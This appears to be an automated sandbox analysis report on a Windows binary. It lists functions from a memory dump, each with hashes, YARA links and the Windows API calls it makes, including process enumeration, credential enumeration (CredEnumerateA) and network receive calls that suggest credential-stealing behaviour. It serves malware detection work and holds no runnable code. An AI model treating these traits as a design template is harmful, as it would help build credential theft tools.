Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32fdcffeaa9b8b5634eb95ab0214ec6b56e2fe01cf18ab8b5099a1124b5cac1a
Instruction ID: 7a518387e9bae1b98a7974f4c3eb489c72b8eb56e4da5310695903002021b8ee
Opcode Fuzzy Hash: 32fdcffeaa9b8b5634eb95ab0214ec6b56e2fe01cf18ab8b5099a1124b5cac1a
Instruction Fuzzy Hash: 2CA1AB33A18B8186FB109F25D8903ADB7A1FB89B98F588635DA4D47799DF3CC481C750

Function 00007FF75A6FF150 Relevance: 3.2, APIs: 2, Instructions: 189COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6FF394
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF75A6FF3A0

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: aabccf3ff13c909e80753b9aa107600329d117564317721f048c6460200f7d1b
Instruction ID: c73403dba03c41fbf72813fc5ddac6e2e0c3b5ad696764ac3d73542296c2686c
Opcode Fuzzy Hash: aabccf3ff13c909e80753b9aa107600329d117564317721f048c6460200f7d1b
Instruction Fuzzy Hash: C861AC26B08A8384FA14AE55D15427DA3A2EF04FD8F9885B1CE1D073D9DF3DE846C360

Function 00007FF75A6ED260 Relevance: 3.2, APIs: 2, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF75A6ED510: RegOpenKeyExA.KERNEL32 ref: 00007FF75A6ED561
Part of subcall function 00007FF75A6ED510: RegCloseKey.ADVAPI32 ref: 00007FF75A6ED573

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6ED4F8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6ED4FE

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseOpen
String ID:
API String ID: 3087652857-0
Opcode ID: 7e2a306bad7545b8412e06f2262b04ca10cda178427cb0c5941f5154108ad285
Instruction ID: 6a54c4bef2f79c715e3f48c7efd3be4eaca0a3ec77d2ffedc4c466b333e11bb4
Opcode Fuzzy Hash: 7e2a306bad7545b8412e06f2262b04ca10cda178427cb0c5941f5154108ad285
Instruction Fuzzy Hash: 4671C272A18B8185FB10DF64E4403AEB7A2FB98B94F945275EA9C07B99DF3CD140C710

Function 00007FF75A6B8E80 Relevance: 3.1, APIs: 2, Instructions: 129COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF75A6B9015
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6B901B

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: 527dd8a8b359668ff5b98347e1c738495a268219d0c5a4c899adc3e1e91da265
Instruction ID: 07ebb00604167ff3c6f2ca7cb1fa157921875be5ef612f92e7f45a253c45f48b
Opcode Fuzzy Hash: 527dd8a8b359668ff5b98347e1c738495a268219d0c5a4c899adc3e1e91da265
Instruction Fuzzy Hash: E5419E62B08B8985FA10AF12A5042ADA756FF49FD4F980A75EF6D0B786DE3CD4418350

Function 00007FF75A6C9FB0 Relevance: 3.1, APIs: 2, Instructions: 123COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6CA14B
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF75A6CA157

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: 41366f48fda8fa6371309c4c2793b83d94621a1ad52d767e4b96f46f6433f0b0
Instruction ID: 21a53b1f963a05ceea943c3a271af9cc6752179a941d445cee0854e4a802ef2f
Opcode Fuzzy Hash: 41366f48fda8fa6371309c4c2793b83d94621a1ad52d767e4b96f46f6433f0b0
Instruction Fuzzy Hash: 3241DE26718B8585EA14EF25F1541BEE3A2EF58FD4F988636EAAD03B84DF3CD0408310

Function 00007FF75A6B9030 Relevance: 3.1, APIs: 2, Instructions: 118COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF75A6B91AC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6B91B2

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: 84176b02f3a573c842ae7b58a793090013bb79ab3e21cbb6e5bb6528e824915f
Instruction ID: fd1ab65e35f09e0953a89b7f88ca12bd8faab1642062d2aebda50b88e93f8a8c
Opcode Fuzzy Hash: 84176b02f3a573c842ae7b58a793090013bb79ab3e21cbb6e5bb6528e824915f
Instruction Fuzzy Hash: BE41AE62B0874A85FE10BA22A5043B9E252EF08FD4F984A71DE6D0B7D6DE3CD5429360

Function 00007FF75A6B8D10 Relevance: 3.1, APIs: 2, Instructions: 109COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF75A6B8E6B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6B8E71

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: fe0d51e385815fee322eb5e0ef6231c1a84a588b8a751bfb4256bf6f17b6a014
Instruction ID: 23e72c30b1a7d5cf3258dbba215c360823ccc91f7936485cb0651895395ac000
Opcode Fuzzy Hash: fe0d51e385815fee322eb5e0ef6231c1a84a588b8a751bfb4256bf6f17b6a014
Instruction Fuzzy Hash: 7831CF61B0978A85FE14AF11A5442A9E692EF08FD4F9C06B2DE6D0B786DE3CE4428310

Function 00007FF75A6F6290 Relevance: 3.1, APIs: 2, Instructions: 107COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNEL32 ref: 00007FF75A6F6320
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F6457

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: InformationVolume_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 4269842375-0
Opcode ID: d1eda828ff3a42b1bd9c341c65f52878687d5427d7f2884afc125289b27a9beb
Instruction ID: de165b99b823501ede88788740c8a87c8ae75c76d501b12f529836d48299ef4a
Opcode Fuzzy Hash: d1eda828ff3a42b1bd9c341c65f52878687d5427d7f2884afc125289b27a9beb
Instruction Fuzzy Hash: D8519E33A18B8285F710DF68D4403ADB7A1FB98788F945635EB8C53A99DF78D581C740

Function 00007FF75A6B29B0 Relevance: 3.1, APIs: 2, Instructions: 93COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6B2AB2
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF75A6B2AB8

Part of subcall function 00007FF75A69B820: __std_exception_copy.LIBVCRUNTIME ref: 00007FF75A69B868

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: Concurrency::cancel_current_task__std_exception_copy_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2371198981-0
Opcode ID: 69cb05f06bfac6c23d9b563a1144b6f5c1505051c04b41afb44361278751c17a
Instruction ID: eb6fb5a6dbcb8e7d9667db2c56389a9a52352abd04f3f34026546e0e405fb053
Opcode Fuzzy Hash: 69cb05f06bfac6c23d9b563a1144b6f5c1505051c04b41afb44361278751c17a
Instruction Fuzzy Hash: E821D622E19B4A45FA28BB25A500379A2D1EF58FA4F584771DA7C07BD1EE3CD8D38350

Function 00007FF75A704648 Relevance: 3.1, APIs: 2, Instructions: 77COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75A70466F

Part of subcall function 00007FF75A704604: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75A70461B

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75A704723

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 77ff38050bbf038ec147631c291faae903e00292372ea36fba1d268a897535c6
Instruction ID: 5085427a978abdb6afad4e66ee316a4127da7f7695c46d24413938c81f223a13
Opcode Fuzzy Hash: 77ff38050bbf038ec147631c291faae903e00292372ea36fba1d268a897535c6
Instruction Fuzzy Hash: 2931BF32A19A4281FA50FF14DC601B9A760BF99B90FD909B0E70E47392EE3DE1018B20

Function 00007FF75A6ED510 Relevance: 3.1, APIs: 2, Instructions: 69registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32 ref: 00007FF75A6ED561
RegCloseKey.ADVAPI32 ref: 00007FF75A6ED573

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: CloseOpen
String ID:
API String ID: 47109696-0
Opcode ID: 1a64ac96ffafbd9bf205c43160686ecd2fbbda4846f4ad75e4a512c060860e71
Instruction ID: 0b532b560b420d324e3e43f87d5392552ae149f6a2368ca19bfab8c12b8fcd71
Opcode Fuzzy Hash: 1a64ac96ffafbd9bf205c43160686ecd2fbbda4846f4ad75e4a512c060860e71
Instruction Fuzzy Hash: BA21B461B18A4186FE50AB25E8403BAE361EF98FD8F9C5175EA4D43B95DF2CD4818720

Function 00007FF75A6BAE50 Relevance: 3.1, APIs: 2, Instructions: 66COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6BAEA1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6BAF0A

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: ba28abc32b171e9d6c9b56ec2aae1ad1df347358e42700194b560561e1ef2914
Instruction ID: 2aca6bdb9b760816a07c8ceaf1acaf686fa754159fdfd376e6ee10c69cae6f08
Opcode Fuzzy Hash: ba28abc32b171e9d6c9b56ec2aae1ad1df347358e42700194b560561e1ef2914
Instruction Fuzzy Hash: 5E1104A2B12B8949FF08AF74E45437CB392EF18F94F984970DA6C46785DF2CC8918300

Function 00007FF75A6EC7CC Relevance: 3.1, APIs: 2, Instructions: 58synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF75A6AE610: CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF75A6AE65A
Part of subcall function 00007FF75A6AE610: Process32FirstW.KERNEL32 ref: 00007FF75A6AE69C

Part of subcall function 00007FF75A6ACA10: CredEnumerateA.ADVAPI32 ref: 00007FF75A6ACA72

Part of subcall function 00007FF75A6F4A30: recv.WS2_32 ref: 00007FF75A6F4C0C

ReleaseMutex.KERNEL32 ref: 00007FF75A6EC83B
CloseHandle.KERNEL32 ref: 00007FF75A6EC844

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: CloseCreateCredEnumerateFirstHandleMutexProcess32ReleaseSnapshotToolhelp32recv
String ID:
API String ID: 420082584-0
Opcode ID: 442cc80d2267274907e8166eae868d28a8a8e36d3e2b5ea7fa1f6c8ea05d9a82
Instruction ID: a68d873ad1e1c5c4fc68b91468042479cc45e1b9df554a242b9c465415c08a1a
Opcode Fuzzy Hash: 442cc80d2267274907e8166eae868d28a8a8e36d3e2b5ea7fa1f6c8ea05d9a82
Instruction Fuzzy Hash: 04219D11E0C28381FA907BB4A1263BFD642EF99F90FCC5AB5E66E055C79E1DA0418672

Function 00007FF75A6EC7FD Relevance: 3.0, APIs: 2, Instructions: 47synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF75A6F4A30: recv.WS2_32 ref: 00007FF75A6F4C0C

ReleaseMutex.KERNEL32 ref: 00007FF75A6EC83B
CloseHandle.KERNEL32 ref: 00007FF75A6EC844

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: CloseHandleMutexReleaserecv
String ID:
API String ID: 2659716615-0
Opcode ID: 4d6352119ee6fae63bc1b356387a477c1694add6d7aa960eadc6853682fe7d5c
Instruction ID: baba4be4b22352cfe4bd05bd1d8d2b29a98ce592ebceeaedf2a8b18a1697a5dd
Opcode Fuzzy Hash: 4d6352119ee6fae63bc1b356387a477c1694add6d7aa960eadc6853682fe7d5c
Instruction Fuzzy Hash: 1C110612E0C2C381FA507B34A5163BFD642EF99F50FCC5AB4EAAE456C79E1CE0418671

Function 00007FF75A710E9C Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,?,?,?,?,00007FF75A710E88,?,?,?,?,00000000,00007FF75A710F91), ref: 00007FF75A710EE8
GetLastError.KERNEL32(?,?,?,?,?,00007FF75A710E88,?,?,?,?,00000000,00007FF75A710F91), ref: 00007FF75A710EF2

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 85342b8448b5f83962e520861b5040a532baca975cc467821ece28218af4e603
Instruction ID: 3bd55e3acb81c328a85a8b6423369c3cda05fbc50acf1dccea154b3457c0e08b
Opcode Fuzzy Hash: 85342b8448b5f83962e520861b5040a532baca975cc467821ece28218af4e603
Instruction Fuzzy Hash: E911BF61A18B8281EA10EF26A404069A7A1EF48BF4F9C4771EA7D0B7D9CE7CD4568780

Function 00007FF75A71E888 Relevance: 3.0, APIs: 2, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF75A71E8B8

Part of subcall function 00007FF75A71F8DC: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF75A71F8E5

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF75A71E8BE

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::bad_alloc::bad_alloc
String ID:
API String ID: 1173176844-0
Opcode ID: ad7fb39d7d0572768195cdb96d88edf57c93c5d00d8eaa663e4c704e5b7bea2c
Instruction ID: 0e0f77df64f7fb15eeeba03793e5f6f93be389fe01f656059210f24c206f1123
Opcode Fuzzy Hash: ad7fb39d7d0572768195cdb96d88edf57c93c5d00d8eaa663e4c704e5b7bea2c
Instruction Fuzzy Hash: 1BE0EC00F1920B59FE283A62190517580C48F8DB70E9C2FB0D97D482C3AE2CB59182F0

Function 00007FF75A70D3C8 Relevance: 3.0, APIs: 2, Instructions: 18memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL ref: 00007FF75A70D3DE
GetLastError.KERNEL32 ref: 00007FF75A70D3E8

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: b7253a55b1276d1b57d670979138b52c86c30a15e8b70f9b8b054cc625f4c6ce
Instruction ID: bd507927f9a2adf72a22aa37942ac361b83863b9cb35bda551dcabe7c30c1056
Opcode Fuzzy Hash: b7253a55b1276d1b57d670979138b52c86c30a15e8b70f9b8b054cc625f4c6ce
Instruction Fuzzy Hash: 4CE01245F0A70692FE187FF29C45075D2917F9C740FCC4CB4DA1E82292ED2C69858634

